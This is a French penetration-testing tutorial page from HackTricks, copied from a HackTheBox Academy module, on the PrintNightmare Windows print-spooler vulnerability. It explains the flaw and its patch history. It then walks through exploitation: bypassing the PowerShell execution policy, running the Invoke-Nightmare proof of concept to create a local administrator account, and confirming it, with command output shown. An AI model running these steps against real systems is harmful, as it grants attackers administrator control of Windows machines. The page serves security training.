8.9 KiB
PrintNightmare
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Cette page a été copiée depuis https://academy.hackthebox.com/module/67/section/627****
CVE-2021-1675/CVE-2021-34527 PrintNightmare
est une faille dans RpcAddPrinterDriver qui est utilisée pour permettre l'impression à distance et l'installation de pilotes.
Cette fonction est destinée à donner aux utilisateurs ayant le privilège Windows SeLoadDriverPrivilege
la possibilité d'ajouter des pilotes à un spouleur d'impression distant. Ce droit est généralement réservé aux utilisateurs du groupe Administrateurs intégrés et des Opérateurs d'impression qui peuvent avoir besoin d'installer un pilote d'imprimante sur la machine d'un utilisateur final à distance.
La faille a permis à n'importe quel utilisateur authentifié d'ajouter un pilote d'impression à un système Windows sans avoir le privilège mentionné ci-dessus, permettant à un attaquant une exécution de code à distance complète en tant que SYSTEM sur tout système affecté. La faille affecte toutes les versions prises en charge de Windows, et étant donné que le spouleur d'impression s'exécute par défaut sur les contrôleurs de domaine, Windows 7 et 10, et est souvent activé sur les serveurs Windows, cela présente une énorme surface d'attaque, d'où le nom "nightmare".
Microsoft a initialement publié un correctif qui n'a pas résolu le problème (et les premières directives étaient de désactiver le service Spooler, ce qui n'est pas pratique pour de nombreuses organisations), mais a publié un deuxième correctif en juillet 2021 avec des directives pour vérifier que des paramètres de registre spécifiques sont définis sur 0
ou non définis.
Une fois que cette vulnérabilité a été rendue publique, des exploits PoC ont été rapidement publiés. Cette version ici de @cube0x0 peut être utilisée pour exécuter une DLL malveillante à distance ou localement en utilisant une version modifiée d'Impacket. Le repo contient également une implémentation en C#.
Cette implémentation PowerShell ici peut être utilisée pour une élévation rapide des privilèges locaux. Par défaut, ce script ajoute un nouvel utilisateur administrateur local, mais nous pouvons également fournir une DLL personnalisée pour obtenir un shell inversé ou similaire si l'ajout d'un utilisateur administrateur local n'est pas dans le cadre.
Vérification du service Spooler
Nous pouvons rapidement vérifier si le service Spooler est en cours d'exécution avec la commande suivante. Si ce n'est pas le cas, nous recevrons une erreur "le chemin n'existe pas".
PS C:\htb> ls \\localhost\pipe\spoolss
Directory: \\localhost\pipe
Mode LastWriteTime Length Name
---- ------------- ------ ----
spoolss
Ajout d'un administrateur local avec le PoC PowerShell PrintNightmare
Commencez d'abord par contourner la politique d'exécution sur l'hôte cible :
PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process
Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): A
Maintenant, nous pouvons importer le script PowerShell et l'utiliser pour ajouter un nouvel utilisateur administrateur local.
PS C:\htb> Import-Module .\CVE-2021-1675.ps1
PS C:\htb> Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"
[+] created payload at C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_am
d64_ce3301b66255a0fb\Amd64\mxdwdrv.dll"
[+] added user hacker as local administrator
[+] deleting payload from C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
Confirmation du nouvel utilisateur administrateur
Si tout s'est déroulé comme prévu, nous aurons un nouvel utilisateur administrateur local sous notre contrôle. Ajouter un utilisateur est "bruyant", nous ne voudrions pas le faire lors d'une mission où la discrétion est importante. De plus, nous voudrions vérifier avec notre client que la création de compte est dans le cadre de l'évaluation.
PS C:\htb> net user hacker
User name hacker
Full Name hacker
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set ?8/?9/?2021 12:12:01 PM
Password expires Never
Password changeable ?8/?9/?2021 12:12:01 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administrators
Global Group memberships *None
The command completed successfully.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.